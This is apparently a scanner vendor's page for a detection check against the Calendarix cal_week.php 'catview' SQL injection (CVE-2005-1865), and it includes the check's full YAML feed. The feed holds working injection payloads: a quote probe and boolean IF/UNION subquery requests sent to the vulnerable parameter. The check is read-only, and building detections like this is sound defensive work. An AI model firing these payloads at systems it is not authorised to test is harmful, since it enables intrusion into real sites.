Calendarix — 1 vulnerability check

noctis ships 1 vulnerability check for Calendarix, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Calendarix cal_week.php catview SQL Injection

CVECVE-2005-1865
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/calendarix/CVE-2005-1865.yaml

Calendarix Advanced 1.5 and earlier (and the free Calendarix before 0.6.20050830) append the `catview` parameter of cal_week.php, unquoted and unfiltered, to the SQL query that lists the week's events, allowing unauthenticated SQL injection.

This check first sends `catview=999'` and confirms the page prints a database result error (mysql_num_rows() / mysql_fetch_object() on a failed query, or the SQL error itself) while the same request with `catview=999` answers normally. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise the database error, the right sum must not. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{cdir}}/cal_week.php?op=week&catview=999
  3. HTTP(S) request GET {{cdir}}/cal_week.php?op=week&catview=999%27
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{cdir}}/cal_week.php?op=week&catview=999%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.b…
  6. HTTP(S) request GET {{cdir}}/cal_week.php?op=week&catview=999%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.s…
  7. HTTP(S) request GET {{cdir}}/cal_week.php?op=week&catview=999%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.b…
  8. Parses / computes the next value with a Rhai script
  9. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …/cal_week.php: catview=999 and 1=IF(…+…=S,1,(SELECT 1 UNION SELECT 2)) raised a database result error for S=… an…
  10. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: catview=999' on …/cal_week.php made the page print a database result error (mysql_num_rows() on a failed query), while the c…

References:

Feed source — tests/vulnerabilities/calendarix/CVE-2005-1865.yaml
# Calendarix Advanced <= 1.5 — cal_week.php `catview` SQL injection (CVE-2005-1865)
#
# cal_week.php appends the `catview` GET parameter, unquoted and unfiltered, to
# the per-day events query (advisory 01-0005-15, "line 194 - 196"; same code in
# the free Calendarix 0.6 before 20050830):
#   ... where day='$fdd' and month='$fdm' and year='$fdy' and approved='1'
#       and <events>.cat=$catview order by starttime,title ASC
# and hands the result straight to mysql_num_rows() / mysql_fetch_object(), so a
# broken query makes PHP print "mysql_num_rows(): supplied argument is not a
# valid MySQL result resource" when errors are displayed. The fix (Calendarix
# 0.6.20050830, cal_header.inc.php) resets catview to 0 when it holds any of
# - ' * < > ; + @ or the words "and" / "or".
#
# Source NASL (pre2008/calendarix_sql.nasl) requests /cal_week.php (must be 200),
# then `cal_week.php?op=week&catview=999'` and greps the mysql_num_rows()
# warning. This feed keeps that check as a fallback and goes further:
#   1. QoD 97 — boolean proof computed by the database: `catview=999 and
#      1=IF(A+B=S,1,(SELECT 1 UNION SELECT 2))` sent three times (S wrong,
#      right, wrong; random A/B). A wrong sum picks the two-row subquery and the
#      query fails ("Subquery returns more than 1 row", MySQL 4.1+ / MariaDB);
#      the right sum is valid SQL. Quote-free (magic_quotes safe) and, unlike a
#      RLIKE "(" toggle, not broken by MySQL 8.0.22+ binary-regex errors.
#      Error / no error / error proves the database evaluated our arithmetic. Constant-folded, so it works with
#      an empty events table. The payload carries "+" and "and", both of which
#      the 2005 fix filters, so a fixed install never sees it.
#   2. QoD 75 — the NASL's quote check, plus a control `catview=999` (valid
#      SQL) that must answer 200 without the error: a page that always prints
#      the warning stays clean. Also matches the mysqli_* / PHP 8 wording and
#      the SQL error text itself, which the NASL misses.
# Beyond the NASL's CGI dirs, the probe walks the usual install dirs.
#
# The issue also lists CVE-2005-1864 (calpath RFI in admin/cal_admintop.php) and
# CVE-2005-1866 (calendar.php year XSS); this feed proves only the SQL injection,
# so it carries CVE-2005-1865 alone.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL pre2008/calendarix_sql.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.18410, GPL-2.0-only)
uid: 5f72d69b-db25-479c-a663-f89746ca4b9f
name: "Calendarix cal_week.php catview SQL Injection (CVE-2005-1865)"
description: |
  Calendarix Advanced 1.5 and earlier (and the free Calendarix before
  0.6.20050830) append the `catview` parameter of cal_week.php, unquoted and
  unfiltered, to the SQL query that lists the week's events, allowing
  unauthenticated SQL injection.

  This check first sends `catview=999'` and confirms the page prints a database
  result error (mysql_num_rows() / mysql_fetch_object() on a failed query, or
  the SQL error itself) while the same request with `catview=999` answers
  normally. It then proves the injection with three boolean requests whose
  outcome depends on the database computing the sum of two random numbers: a
  wrong sum must raise the database error, the right sum must not. Nothing is
  written and no data is read from the database.
cves: [CVE-2005-1865]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [calendarix, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1865"
  - "https://www.exploit-db.com/exploits/25778"
  - "https://www.securityfocus.com/bid/13825"
  - "https://raw.githubusercontent.com/ishell/Exploits-Archives/master/2005-exploits/0505-exploits/calendarix.txt"

steps:
  # ── Random operands ───────────────────────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
    store_as: sc

  # ── Per candidate install dir (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/calendarix", "/calendar", "/cal", "/calendarix_advanced"]
      var: cdir

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: valid control, then the quote breaks the query ──────────────
  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/cal_week.php?op=week&catview=999"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/cal_week.php?op=week&catview=999%27"
    condition: "ctl_resp.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  # A failed query reaches mysql_num_rows() / mysql_fetch_object(): PHP 4/5
  # print "supplied argument is not a valid MySQL result resource" (or
  # "expects parameter 1 to be resource"), PHP 8 a TypeError naming the
  # mysqli_* function; a mysqli exception prints the SQL error itself.
  - id: check-qm
    action: script
    code: |
      let re = "mysqli?_(num_rows|fetch_[a-z]+)\\(\\)|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = ctl_resp.status == 200 && !ereg(re, cbody) && ereg(re, body);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  # ── Stage 2: boolean proof — the database must compute A+B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/cal_week.php?op=week&catview=999%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/cal_week.php?op=week&catview=999%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/cal_week.php?op=week&catview=999%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let re = "mysqli?_(num_rows|fetch_[a-z]+)\\(\\)|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status == 200 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{cdir}}/cal_week.php: catview=999 and 1=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) raised a database result error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: catview=999' on {{cdir}}/cal_week.php made the page print a database result error (mysql_num_rows() on a failed query), while the control catview=999 (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

View these feeds on GitHub